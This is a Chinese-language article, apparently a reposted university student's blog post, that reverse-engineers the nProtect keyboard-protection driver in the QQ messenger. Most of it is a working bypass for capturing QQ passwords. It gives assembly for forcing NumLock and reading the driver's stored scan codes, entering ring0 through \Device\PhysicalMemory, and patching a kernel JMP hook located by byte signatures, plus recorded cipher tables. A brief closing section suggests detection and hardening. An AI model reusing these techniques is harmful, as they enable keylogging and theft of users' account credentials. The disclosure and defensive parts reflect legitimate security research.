深入分析與破解QQ鍵盤加密保護
——反nProtect技術
武漢大學計算機學院信息安全04級11班 禤彪/文
?
摘要:本文對QQ的nProtect密碼安全輸入控件保護技術進行了分析,并針對其破解思路進行了描述和實現,本文還給出了關鍵代碼分析。實驗表明,本文給出的方法可以有效地截獲nProtect密碼安全輸入控件中的密碼。本文最后還給出了相關的防護思路和措施。
關鍵字:nProtect,安全控件,破解,QQ
1.相關背景
在寫這篇文章之前,我想說明幾點:
1)本人由于興趣愛好,只是從技術角度來進行研究,并非有意進行破壞,而且安全與威脅本來就是互進互促的;
2)任何利用該成果編寫的盜號程序一概與本人無關,同時也希望騰訊公司能夠對此重視,盡快升級或打補丁;
3)由于本人水平有限,錯誤之處希望大家予以指正。
首先,讓我們看看QQ官方網站是如何描述鍵盤加密保護的:
“從QQ2005 Beta3開始,QQ采用了國際先進的nProtect鍵盤加密保護技術,在啟動QQ后,鍵盤加密保護系統會自動啟動,此時您會看到QQ登陸的密碼框右側出現了一把金色的安全鎖,當您敲擊鍵盤輸入密碼時,鍵盤加密保護系統會自動對鍵盤信息進行實時的加密。這樣即使用戶的PC中有病毒、鍵盤記錄程序,也難以竊取用戶的密碼輸入。”
據本人所知,騰訊對該保護系統升級過多次,從目前情況看,該技術已經比較完善,基本上可以防止目前所有的盜號軟件,所以在QQ2007Beta1版中騰訊也沒有對此進行升級。
2.QQ鍵盤加密保護分析
讓我們現在開始進入正題,QQ鍵盤加密保護主要依賴的是QQ目錄下的3個文件,分別是npkcrypt.sys、npkcusb.sys和npkcrypt.vxd,其中起主要作用的是npkcrypt.sys。在以前的版本中,有些盜號木馬會對這幾個關鍵文件進行刪除或改名,然后再修改密碼框右邊的紅叉小金鎖圖標 為 以達到欺騙的目的,不過QQ版本升級之后會出現軟鍵盤提示,告知有可能中木馬病毒,就算只是進行文件的修改也會出現同樣的問題,因為QQ每次運行都會對這些文件進行完整性校驗,所以這種方法在目前來說是沒多大作用的。當然,如果你有辦法繞過校驗的代碼那就另當別論,不過我想這種方法還是不行的,該技術好象還在其他地方做了手腳,也許是鍵盤驅動,做了層加密保護(在下面我會有所提及的),我沒有對此進行過多的研究,因為我研究的重點并不在這里。
對于一般的密碼框,我們只需要用普通的鍵盤鉤子就可以記錄按鍵的信息,但是如果你用這種方法監視QQ密碼框那你是不會得到正確結果的,圖1為我在QQ密碼框中敲下“abcdBC$456”時,普通的鍵盤程序記錄的信息:
圖1 普通鍵盤記錄程序記錄的QQ密碼
可以看到鍵盤鉤子沒什么作用,當你把焦點移到其他地方之后又可以正確記錄按鍵的信息了,從這里可以看出,QQ鍵盤加密保護是在密碼框獲得焦點之后才啟動的。我試著用spy++來監視密碼框的Windows消息,當鼠標懸浮在密碼框之上時,會有WM_TIMER消息,一旦獲得焦點之后,就沒法捕捉到任何的消息了。最后的一個消息為WM_SETFOCUS,顯然是進行了處理。
網上曾有人在以前的版本中通過用spy++捕獲WM_GETTEXT消息即可獲知QQ密碼,但在現在的版本里是不行了的。
無奈之下,我用win32Dasm(或者其他靜態反匯編軟件)打開了npkcrypt.sys進行分析(注:由于版本的不同,npkcrypt.sys文件也有所變動,我只以QQ 2007 Beta1版本的npkcrypt.sys進行分析,文件大小為25,074 字節),在npkcrypt.sys的引入表中可以發現引用了HalGetInterruptVector函數,該函數的目的是獲取中斷向量號的,同時還發現HalBeginSystemInterrupt、HalEndSystemInterrupt等與中斷有關的函數,由此我們可以猜測該保護系統一定是在中斷上做了手腳了,在鍵盤鉤子獲取信息前就已經做了處理。
我們現在已經知道了兩點:
1)密碼框獲得焦點保護系統才啟動,失去焦點后又還原;
2)保護系統是在中斷上做手腳的。
于是我打開SoftICE,在密碼框獲取焦點之前查看了IDT表(中斷描述符表),發現中斷服務程序地址都是是80******開頭的,當QQ密碼框后我在調出SoftICE查看IDT表,發現某一號中斷(我本機是0x93)的中斷服務程序地址改為了F8******,而且Owner為npkcrypt!.text+0191,也就是說中斷服務程序的地址為npkcrypt模塊.text節偏移0x191開始的位置,實際上npkcrypt模塊在系統啟動的時候就已經加載了,而中斷服務地址是在獲得焦點后才修改的,失去焦點后又還原了。
在我用ZwQuerySystemInformation函數列舉系統所有模塊時證明了我的說法,如圖2
圖2 系統模塊列舉
為了方便,我依然使用win32Dasm閱讀靜態反匯編代碼,.text節的Offset為0x2C0,則入口點為0x2C0+0x191=0x451,即文件偏移0x451處為中斷服務程序的入口,或者用SoftICE看中斷服務地址的末三位也是一樣的,因為大的模塊一般是以頁(頁大小=4KB=0x1000B)為粒度進行映射的,所以文件偏移0x451也即模塊首地址0x*****000偏移0x451。通過閱讀反匯編代碼以及用SoftICE下斷點測試,大體上了解了該中斷服務程序的作用(如圖3),簡單點說就是將鍵盤的掃描碼讀出來然后再模擬鍵盤輸入送一個00錯誤數據給鍵盤。
在這里有必要提一下:
與鍵盤相關的最重要的硬件有兩個:一個是 intel 8042 芯片,位于主板上,CPU 通過 IO 端口直接和這個芯片通信,獲得按鍵的掃描碼或者發送各種鍵盤命令;另一個是 intel 8048 芯片或者其兼容芯片,位于鍵盤中,這個芯片主要作用是從鍵盤的硬件中得到被按的鍵所產生的掃描碼,與 i8042 通信,控制鍵盤本身。
CPU 通過讀寫端口,可以直接把 i8042 中的數據讀入到 CPU 的寄存器中,或者把 CPU 寄存器中的數據寫入 i8042 中。
直接打交道的是8042芯片,一個0x60 數據端口和一個0x64 命令端口。
中斷服務入口
?
修改段寄存器值
?
Push eax
Call 000121CC
?
恢復寄存器值
?
中斷服務結束
?
調用原中斷服務程序
?
初始化,控制轉移
?
讀0x60端口掃描碼
?
掃描碼處理
?
模擬鍵盤輸入向0x60端口送00錯誤數據
?
#####局部變量####
ebp-3CH: ASCII碼
ebp-08H: 掃描碼
?
push ebp
mov ebp,esp
push ecx
in al,60
mov byte ptr[ebp-01],al
mov al,byte ptr[ebp-01]
leave
ret
?
NumLock健打開?
?
保存掃描碼到全局變量49A0H
?
是
?
否
?
############ 全局變量 #########################
45D0H : 中斷向量號
4740H :按鍵狀態指針,1號元素為NumLock按鍵狀態,為1則打開,0關閉
49A0H : 鍵盤掃描碼
49A1H : E0H or 00H (EOH表示擴展鍵,00H表示普通鍵節)
?
圖3 QQ密碼保護的關鍵技術流程
3.QQ鍵盤加密保護破解
從圖3上看,我們可以從幾個地方下手進行破解:
3.1在該中斷服務入口地方將其跳轉到原中斷服務程序
經本人測試,這樣雖可以繞開該中斷服務,但還是獲取不了正確的按鍵信息,可能是在鍵盤驅動里做了手腳,當輸入數字或者小寫字母的時候,鍵盤鉤子總是得到加密后的數字或小寫字母(其加密方法就是簡單的代替密碼),其他符號包括大寫字母都能正確獲得,而且每次打開新的QQ登陸窗口總會隨機選擇一套新的密文表,這時候如果輸入的是正確的密碼那登陸是失敗的,但是如果輸入的密碼映射成密文后剛好是正確的密碼那登陸就是成功的,也就是說QQ密碼框認可的密碼為加密后的密碼。于是用SoftICE在0x60端口地方下斷點,發現在密碼框中斷到的地址和不在密碼框中斷到的地址不一樣,很可能是就是在鍵盤驅動里做了修改,所以上面提到過修改npkcrypt.sys文件沒多大作用,就是因為還有這層保護。如果在如圖3所示的全局變量中,在0x45D0將中斷向量號修改為其他系統保留的,來一個乾坤大挪移也是一樣的效果。這種方法本文沒有深入研究,事實上相比之下后幾種方法來得更簡單。以下是記錄的幾套密文表,有興趣的可以研究下:
第一份數據:
明文:0123456789? abcdefghijklmnopqrstuvwxyz
密文:2513970684? cvkzguamldhetpsbyfrxinwojq
第二份數據:
明文:0123456789? abcdefghijklmnopqrstuvwxyz
密文:9374586012? jpgdbrqsuvlmnywafckzehotix
第三份數據:
明文:0123456789? abcdefghijklmnopqrstuvwxyz
密文:1843765209? rjvlygsihpfwdeuctokzbmaqxn
3.2直接讀取該中斷服務程序保留的掃描碼值
如圖3所示,當NumLock鍵處于打開狀態的時候該中斷服務程序會將鍵盤掃描碼的值保存在0x49A0處(即npkcrypt.sys模塊首地址偏移0x49A0)。
這種方法的關鍵之處在于NumLock鍵是否打開,如果是關閉狀態那我們是沒辦法獲取按鍵掃描碼的。于是程序可以在初始化的時候將NumLock鍵打開,但如果中間NumLock鍵被關閉則后面的按鍵信息還是無法獲取的,具體代碼如下(由于本人是用win32asm寫的測試程序,所以下面所有的參考代碼均為win32asm代碼):
;如果鍵NumLock關閉則打開
?????? invoke? GetKeyState,VK_NUMLOCK
?????? and ax,00001h
?????? .if ax == 0
????????????? invoke keybd_event,VK_NUMLOCK,0,0,0
????????????? invoke keybd_event,VK_NUMLOCK,0,KEYEVENTF_KEYUP,0
?????? .endif
?
剩下的任務就是要讀取0x49A0的掃描碼了,這是個相對地址,要取得它的絕對地址有2種辦法:
1.用ZwQuerySystemInformation函數取得npkcrypt.sys模塊的首地址,然后加上該相對地址;
2.當焦點處于QQ密碼框中時讀取IDT表被修改的中斷描述符的偏移量(即中斷服務程序的入口地址,因為該中斷服務程序處于基地址為0x00000000的ring0級代碼段中,所以偏移量就是入口地址),將其與0xFFFFF000相與后再加上該相對地址。計算出絕對地址后就可以讀取該地址的值了,也就是想要獲得的鍵盤掃描碼。
到這里應該會有幾個疑惑:
①???? 如果希望當用戶按下鍵盤的時候就把掃描碼取出來,那應該怎么做呢?
②???? npkcrypt.sys模塊修改的是哪一號中斷向量呢?應該怎么獲取該中斷向量號?(注:這里提到的是保護模式下的中斷向量而非實模式下)
③???? 前面所談到的地址都是內核地址,那應該怎么進行讀寫呢?
④???? 對于QQ的版本不同,npkcrypt.sys也有所變動,如何知道掃描碼保存在哪里呢?
針對這幾個疑惑,我們可以這樣解決這些問題:
疑惑①:最開始可能會想到用監視內存的方法,只要掃描碼的值發生改變就獲取一次,這種方法可行但麻煩而且不穩定,我們可以在自己的程序里加個時鐘消息,每隔0.5秒就讀取一次,或者用循環等等,但本文不贊同這種主動型的方法。我們更希望的是用戶敲下一次鍵盤我們就讀取一次的被動型的方法,沒錯,這就是鍵盤鉤子,但與普通的鍵盤鉤子不同,我們不需要鍵盤鉤子處理過程中保存鍵盤信息的參數,因為這個參數是被處理過了的,我們只需要鍵盤被按下時的消息,用戶按下鍵盤時,我們會收到WM_KEYDOWN消息,然后在這時候讀取掃描碼就可以了。
疑惑②:圖3中0x45D0處保存的是要修改的中斷向量號,我們可以直接讀取該值,或者也可以用npkcrypt.sys提供的方法,通過反匯編查找調用HalGetInterruptVector函數的地方就可以模仿npkcrypt.sys取得中斷向量號的方法,如下:
mov ebx,1
lea? eax,Affinity
push eax
lea? edi,Irql
push edi
push ebx
push ebx
push ebx
push ebx
call @HalGetInterruptVector
;等價于invoke HalGetInterruptVector,1,1,1,1,addr Irql,addr Affinity? 后2個參數在這里沒作用,是調用該函數后返回的值
.if eax > 0FFh
?????? sub eax,100h
.endif
.if eax == 0
?????? lea eax,Affinity
?????? push eax
?????? push edi
?????? push ebx
?????? push ebx
?????? push 0
?????? push ebx
?????? call @HalGetInterruptVector
?????? ;等價于invoke HalGetInterruptVector,1,0,1,1,addr Irql,addr Affinity
?????? .if eax > 0FFh
????????????? sub eax,100h
?????? .endif
.endif
mov intNum,al??? ;al即該中斷向量號
?
由于HalGetInterruptVector函數是內核函數,所以我們需要在ring0下才能執行,具體會在疑惑③中提到。
疑惑③:如何讀寫內核地址?首先當前計算機的登陸用戶帳號必須是計算機管理員,否則你將很難做到這一切,除非你有什么方法提權或者什么突破系統限制。
當使用計算機管理員賬號登陸時,我們有2個辦法:
⑴Ring3下直接將需要的物理內存\\Device\\PhysicalMemory映射到程序空間,只能以讀的方式映射,因為只有讀\\Device\\PhysicalMemory的權限;
⑵進入Ring0,方法也有2個,一個是用驅動的方法,另一個是非驅動通過在\\Device\\PhysicalMemory添加寫的權限然后在GDT表添加一個調用門或IDT表添加一個中斷門進入Ring0。
因為方法⑴的前提是我們必須知道需要映射的是哪一部分物理內存,而且只有讀的權限,所以一般我們會選擇進入Ring0的方法,而在本人的測試中,驅動的方法好象有內存保護等一些限制,所以本文使用非驅動的方法,但在Vista操作系統中是沒辦法使用了,因為限制了對\\Device\\PhysicalMemory的訪問。進入Ring0后我們就可以為所欲為了,內核函數也可以調用,但要使用這些內核函數還需要用ZwQuerySystemInformation函數取得hal.dll、ntoskrnl.exe(在一些操作系統中ntkrnlpa.exe替代了ntoskrnl.exe)等系統模塊的首地址,再找到指定函數的偏移地址相加后即可調用。
疑惑④:由于QQ最近幾個版本都沒有更新npkcrypt.sys,如果只是監視最近幾個版本的密碼,用固定地址就可以了,但如果想做得完善一點,兼容以前的一些版本,可以用搜索特征碼的方法,保存掃描碼地址的特征碼為0xA2F8458A,可以打開npkcrypt.sys文件或者在內存中直接搜索該特征碼,緊接著該特征碼后的地址即保存掃描碼的地址,那這段特征碼是怎么來的呢,其來自于下面的匯編代碼:
;8A45F8???????? mov al,byte ptr[ebp-08]? ; ebp-08是保存掃描碼的局部變量,看圖3
;A2########? mov byte ptr[########],al? ;########為保存掃描碼的全局變量
?
?
3.3 Hook中斷服務程序的關鍵地方
在圖3中可以看到一段npkcrypt.sys讀取鍵盤數據的程序,它是一個子程序,在npkcrypt.sys中幾乎所有需要讀鍵盤數據的地方都是調用該子程序完成的。所以我們可以想辦法在該子程序開始地方(文件偏移0x3474)跳轉到我們的處理程序中,處理完后再返回,如果你想直接進行修改那是要很高難度的,因為沒有多少空閑的地方寫入你的代碼。這樣我們就沒有NumLock是否打開的限制了,我們只需要將掃描碼讀取出來保存在我們希望的地方再返回就可以了,但要記住在程序關閉時要還原原程序,程序運行時再修改。由于該中斷服務程序是在Ring0代碼段中執行的,所以我們需要申請一片內核空間來存放我們的Hook處理程序,在Ring0下可以調用ExAllocatePool和ExFreePool函數來申請和釋放內核內存。
Hook處理程序如下:
;該函數為替換中斷服務程序的某個關鍵函數
ReplaceReadPassCode proc
?????? push ebp
?????? mov ebp,esp
?????? push ecx
?????? in al,60h
?????? mov byte ptr[ebp-01h],al
?????? mov al,byte ptr[ebp-01h]
??? ;前面照搬原程序的代碼
?????? mov ebx,$??? ;$只是個標記,在復制這段代碼到內核內存時要替換為Data處的地址
?????? .if al == 0 || al == 0FAH
????????????? leave
????????????? ret
?????? .endif
?????? .if al == 0E0H
????????????? mov byte ptr[ebx-2],0
????????????? mov byte ptr[ebx-1],al
?????? .else
????????????? .if byte ptr[ebx-2] != 0 && byte ptr[ebx-1] == 0E0H????????
???????????????????? mov byte ptr[ebx-1],0
????????????? .endif
????????????? mov byte ptr[ebx-2],al
?????? .endif
?????? leave
?????? ret
Data:
???? int 3 ;保存掃描碼?? ;占2個字節的位置來保存掃描碼???
?????? int 3 ;保存擴展碼
ReplaceReadPassCode endp
ReplaceReadPassCodeLen = $ - ReplaceReadPassCode
?
Hook的替換還原程序:
mov eax,PHookSysMem??? ;替換
sub eax,HookAbAddr
sub eax,5
mov edi,HookMapAddr????????
mov byte ptr[edi],0E9H???????? ;jmp遠跳的機器碼
mov dword ptr[edi+1],eax???? ;相對地址,可以跳到ReplaceReadPassCode處執行
;----------------------------------------------------------------
;????? 55??????? push ebp??? ;還原npkcrypt程序
;????? 8BEC????? mov ebp,esp
;????? 51??????? push ecx
;????? E460?????? in al,60
;????? …………
mov edi,HookMapAddr
mov byte ptr[edi],055H
mov dword ptr[edi+1],0E451EC8BH???
?
Hook成功之后我們只需要讀取ReplaceReadPassCode程序末尾2個字節的數據就可以取得我們想要的掃描碼了,如果不想每次都在Ring0下讀取,那可以把MmGetPhysicalAddress函數取得Hook處理程序的物理地址再映射入程序的空間,這樣方便讀寫。
同疑惑④一樣,如果不想用硬性地址,可以搜索特征碼來查找需要Hook的地址,讀鍵盤掃描碼子程序的特征碼為0x 8860E451。以下是該特征碼的匯編代碼:
;55???????? push ebp
;8BEC????? mov ebp,esp
;51????????????? push ecx
;E460???????????? in al,60
;8845FF???????? mov byte ptr[ebp-01],al
?
當我們找到該特征碼后,將該特征碼所在內存地址減去3就可以得到讀鍵盤掃描碼子程序的首地址了。
下面讓大家看下我的測試程序的效果(如圖4),當我們在QQ密碼框中輸入“abcdBC$456”時:
圖4 QQ密碼實際截獲效果
4.檢測及防范思路
安全是沒有絕對的,我們能做到的只是盡可能的防范,以下是本文針對此問題想到的幾點安全措施。
4.1檢測方法
對npkcrypt.sys內存模塊進行校驗,如果校驗錯誤那很有可能是npkcrypt.sys內存模塊被修改過了。
4.2防范方法
1)??????? 將npkcrypt.sys文件關鍵代碼進行加密處理,當要加載進內存時再進行解密,這會加大分析的難度,而且由于只需每次開機加載時執行一次解密,所以開銷少,易操作。
2)??????? 一些重要的數據保存的時候應盡量隱蔽,或者每執行完一次中斷服務程序應該將其清0,如圖3可以清晰地看到掃描碼保存在了某一個全局變量中,而且中斷服務程序執行完后并沒有對其處理,所以我們可以不需任何的修改,直接讀取該全局變量即可以達到目的,也就是我上面提到的破解方法二。
3)??????? 將npkcrypt.sys內存模塊的關鍵代碼放到禁止寫操作的保護頁中,可以防止對虛擬內存的修改。
4)??????? Hook IDT 1號中斷,即調試異常處理程序,監視每一條執行指令所在的內存地址,如果超出npkcrypt.sys內存模塊的范圍則將其還原,這種方法安全系數較高,但難度系數也高,而且也需要較大的開銷。
上面的方法都只能加大被破解的難度,要從根本上的防治,目前來看還是比較難的,所以說安全是沒有絕對的。
?
作者:禤彪???????????????????????????????????? 學校:武漢大學計算機學院信息安全04級11班
網名:softbiao、BIAO等????? 博客:http://blog.csdn.net/soft_biao
QQ :275541298????????????????????
?
?
本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/jinhanzhi/archive/2009/03/06/3961496.aspx